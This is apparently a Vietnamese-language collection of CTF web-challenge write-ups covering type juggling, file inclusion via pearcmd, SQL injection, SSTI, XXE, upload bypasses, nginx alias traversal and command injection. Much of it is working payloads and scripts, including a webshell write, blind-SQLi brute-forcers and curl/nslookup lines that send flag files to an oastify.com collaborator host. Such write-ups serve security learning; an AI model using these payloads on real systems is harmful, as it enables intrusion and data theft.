# 1. `Magic_Login` - `PHP Type Juggling`
## Bypass login
```
<html>
<form action="verify.php" method="post">
User Name:<br>
<input type="text" name="username"><br><br>
Password:<br>
<input type="password" name="password"><br><br>
<input type="submit" name="submit" value="Login">
</form>
<!--
if(isset($_POST['submit'])){
$usr = mysql_real_escape_string($_POST['username']);
$pas = hash('sha256', mysql_real_escape_string($_POST['password']));
if($pas == "0"){
$_SESSION['logged'] = TRUE;
header("Location: upload.php"); // Modify to go to the page you would like
exit;
}else{
header("Location: login_page.php");
exit;
}
}else{ //If the form button wasn't submitted go to the index page, or login page
header("Location: login_page.php");
exit;
}
-->
</html>
```
Ở đây ta sẽ gửi 1 form gồm username và password. Trong đó chương trình chỉ check đoạn password đã được decode sau khi thực hiện thuật toán sha-256
```
$pas = hash('sha256', mysql_real_escape_string($_POST['password']));
```
Kế đến nó check xem đoạn mã sau khi decode có bằng `0` hay không, nếu đúng, nó sẽ đưa ta đến trang `upload.php`
Do gà nên phải đọc wu!
Ở dòng check:
```
if($pas == "0")
```
Ta thấy khi so sánh thì chương trình đã sử dụng `==`
Toán tử so sánh `==` nếu như kiểu dữ liệu khác nhau nó sẽ đưa về một kiểu dữ liệu chung để thực hiện việc so sánh

Vậy ta chỉ cần tìm đoạn hash có bắt đầu bằng `0e`
Lên `PayloadAllTheThings` tìm

=> với password = `34250003024812` -> bypass login
## Get shell

Tại đây, ta được phép upload 1 file bất kỳ lên và chương trình sẽ tạo liên kết đến file đó
Mình sẽ upload file shell.php lên và khi trỏ đến đó thì chương trình thực thi webshell. Như shellcode
Webshell lấy tại đây
https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985

# 2. `Magic_login-harder` - `PHP Type Juggling` + `pearcmd`
## Bypass login
```
<?php
if(isset($_POST["submit"])){
$username = base64_decode($_POST['username']);
$password = base64_decode($_POST['password']);
if(($username == $password)){
echo 'Username and password are not the same';
}
else if((md5($username)===md5($password))){
$_SESSION['username'] = $username;
header('Location: admin.php?file=1.txt');
} else {
echo "Username: " . $username . "<br>";
echo "Password: " . $password . "<br>";
echo "Username_MD5: " . md5($username) . "<br>";
echo "Password_MD5: " . md5($password) . "<br>";
echo 'Username and password are wrong';
}
}
?>
```
Đoạn mã php trên cho ta nhập username và password với điều kiện phải khác nhau
Sau đó chương trình dùng 2 hàm
```
$username = base64_decode($_POST['username']);
$password = base64_decode($_POST['password']);
```
để giải mã 2 đoạn mã ta nhập vào
Sau đó chương trình lại dùng hàm md5 chúng và so sánh chúng, nếu giống nhau
ta sẽ được chuyển hướng người dùng đến trang `admin.php?file=1.txt` bằng cách sử dụng hàm `header()`.
Ok vậy ở đây làm sao để 2 chuỗi khác nhau có cùng 1 md5_hash?
search thì ta có https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value
```
> md5sum message1.bin message2.bin
> 008ee33a9d58b51cfeb425b0959121c9 message1.bin
> 008ee33a9d58b51cfeb425b0959121c9 message2.bin
```
Và encode chúng ta được 2 file encode cũng là username và password

Ok vậy ta đã có quyền admin
## RCE
```
<?php
header('Content-Type: text/html; charset=utf-8');
session_start();
if($_SESSION['username'] != null){
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
}
else{
die("Only admin can use this");
}
?>
```
Chú ý đến phần
```
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
```
Đoạn mã gán giá trị của `$_GET['file']` vào biến `$file` và sử dụng hàm `include($file)` để bao gồm nội dung của tệp tin được chỉ định. Điều này cho phép ta đưa nội dung của một tệp tin vào tệp tin hiện tại.
Ví dụ: Nếu URL chứa tham số file là `example.php?file=content.php`, thì giá trị của `$_GET['file']` sẽ là `content.php`. Đoạn mã `include($file)` sẽ chèn nội dung của tệp tin `content.php` vào tệp tin hiện tại tại vị trí đó.
Ok đầu tiên mình sẽ tạo 1 file và gửi content (webshell) vào file vừa tạo bằng phương thức get
https://w4rsp1t3.moe/2021/11/26/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8pearcmd%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/
GG search thì ta thấy với file `pearcmd.php`
pearcmd.php (hay peclcmd.php) là một công cụ quản lý tiện ích mở rộng bằng command line

Ở đây có rất nhiều cmd của pear và với `config-create` ta có thể tạo file mới với 2 tham số đó là đường dẫn đến file pearcmd.php và đường dẫn đến file cần tạo
Đây chính là đoạn mã để ghi và tạo file
```
GET /admin.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=system($_GET[0]);?>+/tmp/asddddd.php HTTP/1.1
```
`/tmp/asddddd.php`: Đường dẫn đến file vừa tạo
`<?=system($_GET[0]);?>`: Content chứa hàm thực thi `system()`
`/usr/local/lib/php/pearcmd.php`: Tham số file với đường dẫn đến `pearcmd.php`
Khi mã này được thực thi, nội dung của tệp tin `pearcmd.php` sẽ được `import` vào tệp tin `admin.php`. Nội dung của tệp tin `pearcmd.php` sẽ được xử lý như mã PHP thường, tương tự như nội dung của `admin.php`. và khi đó ta sẽ thực thi được câu lệnh tạo file như trên với nội dung truyền vào là `<?=system($_GET[0]);?>`

Vậy là đã tạo được file `asddddd.php` tại đường dẫn /tmp
Tiếp đến chạy đến đường dẫn đó và thực thi lệnh cat flag thôi
```
GET /admin.php?file=/tmp/asddddd.php&0=cat+/flagViTen.txt HTTP/1.1
```

# 3. `Todo_Application` - `PHP include`
```
$files = glob('/flag*.txt'); // Lấy danh sách tệp có tên bắt đầu bằng "exp" và có phần mở rộng là ".txt"
if ($files) {
foreach ($files as $file) {
$content = file_get_contents($file);
if ($content !== false) {
// Xử lý nội dung của tệp ở đây
echo "Nội dung của tệp $file: $content";
} else {
echo "Không thể đọc tệp $file";
}
}
} else {
echo "Không có tệp nào thỏa mãn điều kiện.";
}
```
# 4. `Command_Injection_008`
```
%0acat</flaflagg.txt
```
# 5. `Upload File via URL` - `Link method`
Tưởng đó là RFI nhưng page gen ra file ảnh


Trang web sẽ lưu file từ url và hiện lên
-> Sử dụng phương thức lấy file local

-> Đọc file /flag.txt được lưu ở url local
```
file:///flag.txt
```

# 6. `Unzip me now` - `Zip symlink`

Ta được phép tải 1 file zip và trang web sẽ unzip nó ra

Ta có 1 kỹ thuật link file đó là `symlink`
Khi 1 file đã được link mà zip dưới flag `--symlink`
=> Khi giải nén nó sẽ tự động link file đó với file ở trên máy đã unzip nó
```bash
$ ln -s /flag.txt flag.txt
$ ls
flag.txt
$ zip --symlink flag.zip flag.txt
adding: flag.txt (stored 0%)
$ ls
flag.txt flag.zip
```
```bash
$ curl http://13.215.176.34:30089/view_folder/1700832232/flag.txt
CHH{zIPpy_PATH_tRAvERS4l_a0bab6c786316b8623995ced96d61c04}
```
# 7. `Likeness` - `SQLI`
Thay vì dùng `%` ta dùng `_`
```python
import requests
i=0
while(True):
i+=1
value = "CHH{" + "_"*i + "}"
burp0_url = f"http://13.215.176.34:30468/?lastname={value}"
burp0_headers = {}
response = requests.get(burp0_url, headers=burp0_headers)
if 'Pseudonymous' in response.text:
print(response.text)
exit()
else:
print(burp0_url)
```
# 8. `Neonify` - `SSTI Ruby`
Bài này ssti bypass regex bằng `\n` và ` ` do bị chặn ký tự đặc biệt ở dòng đầu vd `%0a` -> thêm khoảng trống vào trước
```ruby
\n <%= File.open('/flag.txt').read %>
```
# 9. `Baby Waiter` - `JSON to XXE`
Chương trình nhận tham số api bằng `json`

Đề bài cho

- Chuyển `json` thành `xml` [bằng link này](https://codebeautify.org/jsontoxml#) để lợi dụng lỗi `xxe`
```json
{
"table_num":"aaaa",
"food":"WAFfles"
}
```
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<table_num>aaaa</table_num>
<food>WAFfles</food>
</root>
```
- Thêm tham số file
```xml
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
```
- Sửa Content-Type: application/json thành Content-Type: application/xml
=> Payload trở thành
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/flag.txt"> ]>
<root>
<table_num>aaaa</table_num>
<food>&example;</food>
</root>
```
# 10. Baby Pielily - `File upload + .htaccess`

Upload các file có tên php, php1, PhP, pHp,... đều bị chặn
-> Upload 1 file `.htaccess` với content là
```bash
AddType application/x-httpd-php .l33t
```

Từ đó các file có đuôi `.l33t` sẽ được chạy dưới dạng `php`
Upload shell lên và chạy thành công

# 11. Bypass HMAC check - `PHP Type Juggling`

Ta có source code ở đây
```php
<?php
include_once('./ignore/design/design.php');
$design = Design(__FILE__, 'HMAC Type Juggling');
?>
<html>
<head>
<title>HMAC Type Juggling</title>
</head>
<body>
<div>
<?php echo $design; ?>
</div>
</body>
</html>
<?php
if (empty($_POST['hmac']) || empty($_POST['host'])) {
echo "Please Create a HTTP Request<br>";
echo "Method: POST <br>";
echo "Body: hmac=xxx&host=xxx&nonce=xxx";
exit;
}
$secret = trim(file_get_contents('/secret.txt'));
if (isset($_POST['nonce']))
$secret = hash_hmac('sha256', $_POST['nonce'], $secret);
$hmac = hash_hmac ('sha256', $_POST['host'], $secret);
if ($hmac !== $_POST['hmac']) {
echo "Access Deny!";
exit;
}
echo exec("host".$_POST['host']); ?>
```
## Chú ý đến phần sau
```php
if (isset($_POST['nonce']))
$secret = hash_hmac('sha256', $_POST['nonce'], $secret);
$hmac = hash_hmac ('sha256', $_POST['host'], $secret);
if ($hmac !== $_POST['hmac']) {
echo "Access Deny!";
exit;
}
echo exec("host".$_POST['host']); ?>
```
- Trang web sẽ `sha256($_POST['nonce'], $secret)` với `$secret` sẽ là salt và lưu lại `$secret`
- Tiếp tục `sha256($_POST['host'], $secret)` và lưu vào `$hmac`
- Cuối cùng sẽ kiểm tra xem giá trị `$hmac !== $_POST['hmac']` thỏa mãn thì sẽ đi đến đoạn command injection sau `echo exec("host".$_POST['host']); ?>`
## Phân tích bug
Do ở đây đã so sánh cứng `$hmac !== $_GET['hmac']` nên ta không thể brute force với bảng so sánh này được

Đọc gợi ý và vào được [link này](https://www.securify.nl/blog/spot-the-bug-challenge-2018-warm-up/)
```php
$secret = hash_hmac('sha256', Array(), "SecretKey");
echo $secret == false;
```
```bash
$ php foo.php
Warning: hash_hmac() expects parameter 2 to be string, array given in /Users/stb/stb-test.php on line 3
1
```
Có thể thấy `$secret` hiện giờ đã trả về giá trị `false` nếu như param thứ 2 là 1 mảng
Vậy nên
```
$secret = hash_hmac('sha256', $_GET['nonce'], $secret);
$hmac = hash_hmac('sha256', $_GET['host'], $secret);
```
Sẽ trở thành
```
$hmac = hash_hmac('sha256', $_GET['host'], false);
```
nếu như `$_GET['nonce']` = `nonce[]`

Ok vậy với giá trị `$secret` ban đầu trở thành `false` thì ta có thể kiểm soát giá trị `hmac`
Tổng kết lại, 3 giá trị tham số sẽ là:
- nonce[]=
- host = `;cat /f*`
- hmac = `hash_hmac('sha256', $host, false);`

# 12. `Blind Command Injection`
Đề bài đã nêu rõ
Nếu dùng phương thức không phải `GET` thì trang web sẽ thực thi `os.system(cmd)`

Còn không thì chỉ in ra như vậy

Sử dụng OPTIONS để kiếm tra các phương thức được cho phép
```bash
$ curl -X OPTIONS http://13.215.176.34:30355 -v
* Trying 13.215.176.34:30355...
* Connected to 13.215.176.34 (13.215.176.34) port 30355 (#0)
> OPTIONS / HTTP/1.1
> Host: 13.215.176.34:30355
> User-Agent: curl/7.85.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.3 Python/3.7.16
< Date: Mon, 27 Nov 2023 03:54:35 GMT
< Content-Type: text/html; charset=utf-8
< Allow: HEAD, OPTIONS, GET
< Content-Length: 0
< Connection: close
<
* Closing connection 0
```
-> Ở đây gồm có: `HEAD`, `OPTIONS`, `GET`
Vậy chỉ còn dùng được `HEAD`
Để bài đã nêu rõ là `blind command injection`
Sử dụng cmd ở đây là
```bash
nslookup `whoami`.uomduows8k0gxxqyu58opv2joau1iu6j.oastify.com
```

Thử `cat /f*` nhưng không nhận lại được gì, test trên local
```bash
$ nslookup `cat /f*`.uomduows8k0gxxqyu58opv2joau1iu6j.oastify.com
nslookup: couldn't get address for '_12dsnd093had}.uomduows8k0gxxqyu58opv2joau1iu6j.oastify.com': not found
```
Chuỗi `flag` nếu chứa ký tự đặc biệt dẫn đến `nslookup` hoạt động không đúng cách
-> Chuyển sang phương án `reverse_shell`

# 13. `Simple Blind SQL Injection`
```python
import requests
import sys
#Brute table_name
table = ""
for i in range(7):
for ii in range(48, 58): # '0' to '9'
burp0_url = f"http://3.1.24.163:31072/?uid=1' or (SELECT hex(substr(tbl_name,{i},1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('{chr(ii)}');--"
burp0_headers = {}
response = requests.get(burp0_url, headers=burp0_headers)
if "exists" in response.text:
print(chr(ii))
table += chr(ii)
break
for ii in range(95, 123): # 'a' to 'z'
burp0_url = f"http://3.1.24.163:31072/?uid=1' or (SELECT hex(substr(tbl_name,{i},1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('{chr(ii)}');--"
burp0_headers = {}
response = requests.get(burp0_url, headers=burp0_headers)
if "exists" in response.text:
print(chr(ii))
table += chr(ii)
break
print(table)
#Brute value of column
value1 = ""
for i in range(15):
for ii in range(48, 58): # '0' to '9'
burp0_url = f"http://3.1.24.163:31072/?uid=1' or (SELECT hex(substr(upw,{i},1)) FROM {table} ORDER BY upw LIMIT 1 offset 2) = hex('{chr(ii)}');--"
burp0_headers = {}
response = requests.get(burp0_url, headers=burp0_headers)
if "exists" in response.text:
print(chr(ii))
value1 += chr(ii)
break
for ii in range(95, 123): # 'a' to 'z'
burp0_url = f"http://3.1.24.163:31072/?uid=1' or (SELECT hex(substr(upw,{i},1)) FROM {table} ORDER BY upw LIMIT 1 offset 2) = hex('{chr(ii)}');--"
burp0_headers = {}
response = requests.get(burp0_url, headers=burp0_headers)
if "exists" in response.text:
print(chr(ii))
value1 += chr(ii)
break
print(value1)
```
# 14. `Logger Middleware`
Trang web này sẽ ghi lại log khi ta truy cập

Mà trang web đang sử dụng database để lưu trữ dữ liệu này
-> Sử dụng `INSERT INTO` để ghi dữ liệu vào bảng
Thêm ký tự vào 1 trong các `IP` `User Agent` `Referer` `URL` `Cookie` `Timestamp` để kiểm tra xem có lỗi hay không

Lỗi syntax hiện ra và ta biết được mã nguồn như sau:
```sql
INSERT INTO
logger (ip_address, user_agent, referer, url, cookie, created_at)
VALUES ('***', 'user_agent', 'None', 'http://3.1.24.163:32419/', 'None', '2023-11-28 11:49:05.524187');
```
Vậy ta sửa syntax `sqlite` để chèn giá trị có sẵn trong database vào bảng và trang web sẽ hiện ra cho chúng ta
```sql
INSERT INTO
logger (ip_address, user_agent, referer, url, cookie, created_at)
VALUES ('***', 'a',null,null,null,
(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'));--
```

Có được 2 bảng là `logger` và `flag`
Sau khi có tên bảng ta sẽ tìm tên cột
```sql
INSERT INTO
logger (ip_address, user_agent, referer, url, cookie, created_at)
VALUES ('***', 'a',null,null,null,
(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='flag'));--
```

Lấy được 1 table là `flag` có column `secr3t_flag`, việc còn lại là lấy data khi đã có tên bảng và tên cột
```sql
INSERT INTO
logger (ip_address, user_agent, referer, url, cookie, created_at)
VALUES ('***', 'a',null,null,null,(SELECT secr3t_flag FROM flag));--
```

# 15. `Command Limit Length`
Trang web cho ta nhập cmd tùy ý

Nhưng số lượng ký tự nhập vào chỉ được 4

Làm thế nào để đọc được tất cả các file bằng 4 ký tự?
```bash
$ ls
exploit.py
$ *
sh: 2: exploit.py: not found
```
Ở đây mình có 1 file `exploit.py`, khi ta chạy command `*`, linux đã hiện ra `exploit.py: not found`, tức là linux đã hiểu `exploit.py` là 1 command
Ý tưởng ở đây như sau:
- Tạo 1 file câu lệnh để đọc các file
- chạy command `*` để thực thi câu lệnh đó
```bash
$ >cat
$ ls
cat exploit.py
$ *
import requests
i=0
while(True):
i+=1
value = "CHH{" + "_"*i + "}"
burp0_url = f"http://13.215.176.34:30468/?lastname={value}"
burp0_headers = {}
response = requests.get(burp0_url, headers=burp0_headers)
if 'Pseudonymous' in response.text:
print(response.text)
exit()
else:
print(burp0_url)$
```
Ok tương tự tạo 1 file `cat` trên sever rồi chạy câu lệnh `*`


# 16. `PHP Inclution` - `wrappers`
Source code chính:
```php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>PHP Back Office</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">PHP Back Office</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/?page=list">List</a></li>
<li><a href="/?page=view">View</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/>
<div class="container">
<?php
include $_GET['page']?$_GET['page'].'.php':'main.php';
echo $_GET['page']?$_GET['page'].'.php':'main.php'; //add to debug
?>
</div>
</body>
</html>
```
Đây là các file của trang web

Với tham số `page` nếu như tồn tại, trang web sẽ `include` `$_GET['page'].'.php'` (ở đây là list.php)

Nhận ra lỗi `path traversal` để include trang `uploads/flag.php`

Nhưng file `flag.php` do bị `include` nên nội dung của nó sẽ thực thi dưới dạng `php` mà không phải text thuần

[Bài viết này](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md#lfi--rfi-using-wrappers) sử dụng `wrappers` để đọc 1 file `php` dưới dạng text
- B1: Php wrappers sẽ `encode` 1 file php
- B2: Trang web sẽ `include` nội dung `encode` đó
-> Do nội dung `include` đã bị `encode` nên sẽ không chứa biểu thức `php` dẫn đến chuỗi `encode` được in ra nguyên vẹn
Payload:
```
php://filter/convert.base64-encode/resource=uploads/flag
```

```bash
$ echo PD9waHAKJGZsYWcgPSAnQ0hIezNBJFlfZjFMM18xbkNMdVNpT05fMzAxMTU4ODJhNDE2YzMyN2JhN2VkMjQ5YzJiZWJkOGN9JzsgCj8+CmNhbiB5b3Ugc2VlICRmbGFnPyU= | base64 -d
<?php
$flag = 'CHH{3A$Y_f1L3_1nCLuSiON_30115882a416c327ba7ed249c2bebd8c}';
```
# 17. `Nginx Alias`

Trang web lưu trữ flag ở path `app/run.py` nhưng ta chỉ được phép truy cập file ở path `/app/static`
## Phân tích 1 file `nginx.config`
Ví dụ 1 file nginx có được cấu hình như sau:
```nginx=
# nginx 1
location /imgs {
alias /path/images/;
}
```
Khi ta truy cập vào path `/path/images/imgs + abcxyx` thì sẽ được chấp thuận do trên url sẽ chứa `/path/images/imgs`
Còn đối với file nginx mà được cấu hình kỹ như sau:
```nginx=
# nginx 1
location /imgs/ {
alias /path/images/;
}
```
Tương tự như trên nhưng path file chắc chắn phải chứa `/path/images/imgs/` thì sẽ được truy cập
So sánh 2 kết quả khi ta sử dụng `path traversal`
- Đối với cấu hình `nginx 2`
+ Khi ta truy cập path như sau: `/path/images/imgs/../run.py` thỏa mãn cấu hình 2
+ Sau khi nhập vào thì url sẽ tự động chuyển thành `/path/images/run.py` và đương nhiên sẽ không được chấp thuận
- Đối với cấu hình `nginx 1`
+ Khi ta truy cập path như sau: `/path/images/imgs../run.py` thỏa mãn cấu hình 1
+ Sau khi nhập vào thì url vẫn sẽ giữ nguyên `/path/images/imgs../run.py` dẫn đến lỗ hổng `path traversal`
-> Bug ở đây
## Khai thác challenge
```bash
$ sh
$ curl http://18.141.162.38:32755/static../run.py
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
app = Flask(__name__)
FLAG = CHH{n91NX_A1Ias_TravEr_71828b510b2688f5faa4dbed6317a16e}$
```
# 18. `Simple SSTI` - `Jinja2`

Khi vào 1 page nào đó, màn hình sẽ in ra tên page

Check `SSTI` và biết được template được sử dụng là `jinja2`

Dùng payload `jinja2 to rce`
```python
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
```

Nhưng payload này có 1 nhược điểm
- File flag được đặt ở `/flag.txt` nên ta phải chạy như sau
```python
{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}
```
- Do ở url nên nếu ta thêm ký tự `/` vào khiến path bị sai và phá vỡ payload ssti

- Hướng giải quyết ở đây là ta sẽ thêm `argument` thay vì cho trực tiếp vào như vậy
```python
{{cycler.__init__.__globals__.os.popen(request.args.input).read()}}?input=cat /flag.txt
```

# 19. `HTML to PDF`
Trang web yêu cầu ta nhập vào 1 url

Rồi chuyển từ `html` của trang web đó thành `pdf`

Tìm kiếm `HTML to PDF vulnerable` ta sẽ có được [bài viết này](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
Đầu tiên, cần xác định được loại thư viện mà trang web dùng để convert từ `html` sang `pdf` - Ở đây sử dụng `python 3.7.16`

Ta sẽ tìm được rất nhiều payload trên `HackTricks`
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf
Trong các payload thì chỉ có 1 payload hoạt động
```bash
<link rel='attachment' href='file:///etc/passwd'>
```
Thẻ `link` dùng để xác định liên kết giữa tệp hiện tại và tài nguyên khác, ở đây là giữa file `pdf` và file `file:///etc/passwd` với thuộc tính`rel` là `attachment` - `đính kèm`
Như vậy, khi trang web chuyển từ `html` sang `pdf`, tệp `/etc/password` sẽ được đính kèm
Tạo 1 link `pastebin`

Đưa link vào để trang web chuyển về `pdf` cho ta

Ta sẽ không xem được nội dung file trên nhiều trình duyệt, có 2 cách xem
- `Sử dụng firefox`: Firefox thường tích hợp với một số tiện ích mở rộng để hỗ trợ xem và tương tác với nhiều loại tệp đính kèm

- Sử dụng `binwalk`: Binwalk giúp phân tích các file ẩn, các tệp đính kèm, v.v..

# `The Existed File` - `Command injection`
[Bypass whitespace here](https://book.hacktricks.xyz/pentesting-web/command-injection)
`${IFS} = whitespace`
```bash
$ id$(whoami)
idkali: command not found
```
```bash
/etc/passwd$(curl${IFS}-X${IFS}POST${IFS}-d${IFS}"@/flag.txt"${IFS}zfilqea97a6g01trl1rx0mi5qwwnkd82.oastify.com)
```